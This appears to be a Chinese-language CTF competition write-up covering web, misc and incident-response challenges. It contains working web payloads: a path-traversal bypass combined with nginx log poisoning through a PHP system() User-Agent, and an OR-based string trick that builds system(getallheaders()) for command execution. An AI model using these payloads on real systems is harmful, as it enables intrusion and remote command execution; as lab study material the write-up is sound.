web
签到
二维码被分割,需要拼接扫描。
离线二维码识别工具:QR_Research
check this
<?phpini_set('display_errors', '0');function containsStr($str, $substr) {return strpos($str, $substr) !== false;}if(isset($_GET["view"])){if (containsStr($_GET['view'], '../..')){return;}if(containsStr($_GET['view'], '/var/www/html/') && !containsStr($_GET['view'], 'flag.php')) {include($_GET['view']);}else{echo 'Sorry, Thats not allowed';}
}
?>
最大的坑点:触发点是 test.php
根据给出的代码
考点一:../.. 的绕过,.././.././ 可以绕过
考点二:view参数需要有 /var/www/html/ 但是不能包含flag.php , 最后想到通过 nignx 日志文件进行命令执行;
最后构造的payload 为:test.php?view=/var/www/html/.././.././.././.././.././.././var/log/nginx/acceess.log
同时修改UA 例如:
<?php system('ls');?>
最终 cat flag.php 就能得到。(F12看源代码才行。。。)
PHP_RCE
这个题有点难,过滤的太多了。。。
思路参考的是这个,采用或方法:
https://blog.csdn.net/miuzzx/article/details/109143413?ops_request_misc=%257B%2522request%255Fid%2522%253A%25223a3b1e71983bc6c03fb7c36d77b93344%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=3a3b1e71983bc6c03fb7c36d77b93344&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-109143413-null-null.nonecase&utm_term=%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F&spm=1018.2226.3001.4450
比完后,问了别人的payload。?cmd=((rystem|qystem))((eld|ejd)((fetadlhdaders|eetahlhaaders)())); 构造出system getallheaders();
然后在请求头,构造命令,最终 cat /flag
之前从来没接触过这个知识点,涨知识了。
misc
access.log
打开文件,一眼就能看出sql注入。实用正则(sublime)匹配出请求包,找到正确响应(1280)的请求,可以得到aes_iv, aes_key , 解密 password 就能得到flag。
因为不熟悉,最终在cyberchef解密那里卡了一会。 iv 和 key是utf8 , input是hex。
应急响应
pcap包分析2
过滤http包,在最后能看到 /files.. 的路径穿越。 定位到这里了,应该很轻松就找到了读取的第二个文件。 md5 后就行。
rdp登出日志
没接触过evtx格式,也看不懂。好在第一个rdp.evtx的包不多,包含IP的不多。把IP全提取出来,最后也就三个,192.168.50.59是对的。另外一个文件就没看了。
有知道的大佬 求教,后来在网上也没找到好的解法
以上是自己学到的内容,如果有大哥对其他题目感兴趣的可以私聊。
另:目前就职的一个甲方单位,有没有同等大哥愿意日常沟通交流(求大哥带带)。
ps单位也招攻防人员, 有点卡学历和经历。硬要求:研究生 软:有攻防、ctf经验;最好95后。